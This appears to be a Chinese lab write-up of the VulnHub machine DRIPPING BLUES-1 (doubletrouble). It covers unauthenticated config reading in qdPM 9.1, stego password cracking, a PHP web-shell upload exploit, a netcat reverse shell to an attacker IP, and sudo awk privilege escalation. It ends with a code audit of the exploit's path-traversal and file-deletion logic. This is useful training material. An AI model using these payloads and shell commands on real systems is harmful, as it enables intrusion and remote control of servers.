大余每日一攻防DRIPPING BLUES-1(十二)

admin 2023年12月13日17:44:16评论21 views字数 3982阅读13分16秒阅读模式

简介

每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。

每日一攻防特色:环境攻破:以简单直白的方式攻破每日选择的渗透测试环境。代码审计:进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。

作者:大余

一首歌送给你们,一首歌一攻防一项目!《这个年纪》送给大家!

一、网络枚举

公司IP太多了,用别的工具扫描:railgun大余每日一攻防DRIPPING BLUES-1(十二)发现ip地址:192.168.3.78,需要工具github搜下就能找到。

二、Web信息收集

大余每日一攻防DRIPPING BLUES-1(十二)qdPM | Login登陆口。

大余每日一攻防DRIPPING BLUES-1(十二)
1702370279_65781be72edb7d6876731.png!small?1702370279848

qdPM 9.1未授权漏洞!!

三、未授权读取数据库

查找https://www.exploit-db.com/搜索下qdpm9.1是否存在可利用的exp,发现存在未授权访问漏洞,可以直接读取/core/config/databases.yml文件,尝试读取下文件信息,获取到数据库账户名和密码:大余每日一攻防DRIPPING BLUES-1(十二)提示未开启数据库服务!!

四、stegseek获取图片隐藏信息

目录枚举发现:大余每日一攻防DRIPPING BLUES-1(十二)

http://192.168.3.78/secret/

发现在/secret目录下存在一张图片:大余每日一攻防DRIPPING BLUES-1(十二)

steghide info doubletrouble.jpg

大余每日一攻防DRIPPING BLUES-1(十二)发现是存在隐藏信息的,但是缺少密码无法获取出来!

大余每日一攻防DRIPPING BLUES-1(十二)stegseek提取:

stegseek --crack doubletrouble.jpg /root/Desktop/rockyou.txt dayu.txt

大余每日一攻防DRIPPING BLUES-1(十二)秒提取!!获得信息。

五、qdpm后门漏洞

获得系统登陆的账号和密码:

[email protected]otis666
大余每日一攻防DRIPPING BLUES-1(十二)
1702370317_65781c0d1c1aa7e7b86fc.png!small?1702370318006

后使用qdpm9.1的后门漏洞:大余每日一攻防DRIPPING BLUES-1(十二)还是挺多可以利用的:用最新的大余每日一攻防DRIPPING BLUES-1(十二)

python 50944.py -url http://192.168.3.78/ -u [email protected] -p otis666

大余每日一攻防DRIPPING BLUES-1(十二)上传了一个后门程序到网站,可以用来操作远程命令执行。现在还需要反弹Shell:大余每日一攻防DRIPPING BLUES-1(十二)

http://192.168.3.78/uploads/users/325292-backdoor.php?cmd=nc -e /bin/bash 192.168.3.10 5566
python -c 'import pty; pty.spawn("/bin/bash")'

大余每日一攻防DRIPPING BLUES-1(十二)成功拿到反弹shell!

六、提权

大余每日一攻防DRIPPING BLUES-1(十二)git提示:

sudo awk 'BEGIN {system("/bin/sh")}'

大余每日一攻防DRIPPING BLUES-1(十二)这里意思是不存在最终答案,还有一个项目环境!!

nc 192.168.3.10 8888 < doubletrouble.ovanc -lvvp 8888 > doubletrouble.ova

大余每日一攻防DRIPPING BLUES-1(十二)接下来大家去操作下,思路是sql注入拿到数据库,数据库拿到账号密码获取ssh登录,最后/usr/lib/eject/dmcrypt-get-device提权即可。

七、代码审计

exp分析:exp的main()函数,在登录后获取一系列参数后调用了req()函数,因此主要分析exp的代码中的req函数

def req(    userid,    username,    csrftoken_,    EMAIL,    HOSTNAME,    ):    request_1 = multifrm(        userid,        username,        csrftoken_,        EMAIL,        HOSTNAME,        '.htaccess',        )    new = session_requests.post(HOSTNAME + 'index.php/myAccount/update'                                , files=request_1)    request_2 = multifrm(        userid,        username,        csrftoken_,        EMAIL,        HOSTNAME,        '../.htaccess',        )    new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update'                                 , files=request_2)    request_3 = {        'sf_method': (None, 'put'),        'users[id]': (None, userid[-1]),        'users[photo_preview]': (None, ''),        'users[_csrf_token]': (None, csrftoken_[-1]),        'users[name]': (None, username[-1]),        'users[new_password]': (None, ''),        'users[email]': (None, EMAIL),        'extra_fields[9]': (None, ''),        'users[photo]': ('backdoor.php',                         '<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); echo $cmd." "; system($cmd); echo "</pre>"; die; }?>'                         , 'application/octet-stream'),        }    cprint(request_3, 'red')    upload_req = session_requests.post(HOSTNAME            + 'index.php/myAccount/update', files=request_3)

在这个函数中,可以看到执行了三个请求,而在前两个请求中都调用了multifrm()函数:

def multifrm(    userid,    username,    csrftoken_,    EMAIL,    HOSTNAME,    uservar,    ):    request_1 = {        'sf_method': (None, 'put'),        'users[id]': (None, userid[-1]),        'users[photo_preview]': (None, uservar),        'users[_csrf_token]': (None, csrftoken_[-1]),        'users[name]': (None, username[-1]),        'users[new_password]': (None, ''),        'users[email]': (None, EMAIL),        'extra_fields[9]': (None, ''),        'users[remove_photo]': (None, '1'),        }    cprint(request_1, 'green')    return request_1

结合req()函数的请求可以发现,request_1请求的users[photo_preview]参数为.htaccess,request_2请求的users[photo_preview]参数为../.htaccess

仔细观察这两个请求,可以发现这两个请求都访问了index.php/myAccount/update页面,也就是用户信息更改页面。

这段代码的主要目的是利用qdPM项目中的一个路径遍历漏洞,具体来说,在上传用户头像的功能中存在的路径遍历漏洞。攻击者通过利用这个漏洞,上传包含恶意 PHP 代码的文件,实现远程代码执行!大余每日一攻防DRIPPING BLUES-1(十二)

if($form['remove_photo']->getValue()==1 && strlen($form['photo_preview']->getValue())>0){    unlink(sfConfig::get('sf_upload_dir') . '/users/' . $form['photo_preview']->getValue());    $form->setFieldValue('photo','');}

大余每日一攻防DRIPPING BLUES-1(十二)在这个代码段中241行处,如果form['photo_preview']->getValue()不为空,就会执行unlink()函数删除用户头像文件。这是一个潜在的风险,因为用户可能在提交表单时篡改这些值,导致删除任意文件。

而进行到这一步的条件是remove_photo的值为1,并且photo_preview值的长度要大于0,从上面的分析可以看出,multifrm()函数已经默认每个请求的remove_photo值为1,那么在request_1和request_2中,这两个条件都满足。也就是说,在request_1中,users目录下的.htaccess文件会被删除。在request_2中,利用..绕过,删除了根目录下.htaccess文件。大余每日一攻防DRIPPING BLUES-1(十二)在 core/apps/qdPM/modules/users/actions/actions.class.php文件的第217-237行,对上传的图片进行了处理,也就是request_3的users_photo参数的内容会经过这个逻辑。大余每日一攻防DRIPPING BLUES-1(十二)可操作写入php文件的点就是在224行和225行的位置。move_uploaded_file()函数的作用是将上传的文件移动到指定的位置,那么在这里的意思是将用户上传的图片移动到users目录中。因此,exp中的backdoor.php可以上传到users目录中,而backdoor.php的名称可以通过再次请求index.php/myAccount,名称会在photo_preview参数中显示,或者直接访问uploads/users,该站还存在目录遍历漏洞,直接获取后门上传后的文件名。

原文始发于微信公众号(大余安全):大余每日一攻防DRIPPING BLUES-1(十二)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月13日17:44:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   大余每日一攻防DRIPPING BLUES-1(十二)https://cn-sec.com/archives/2291999.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息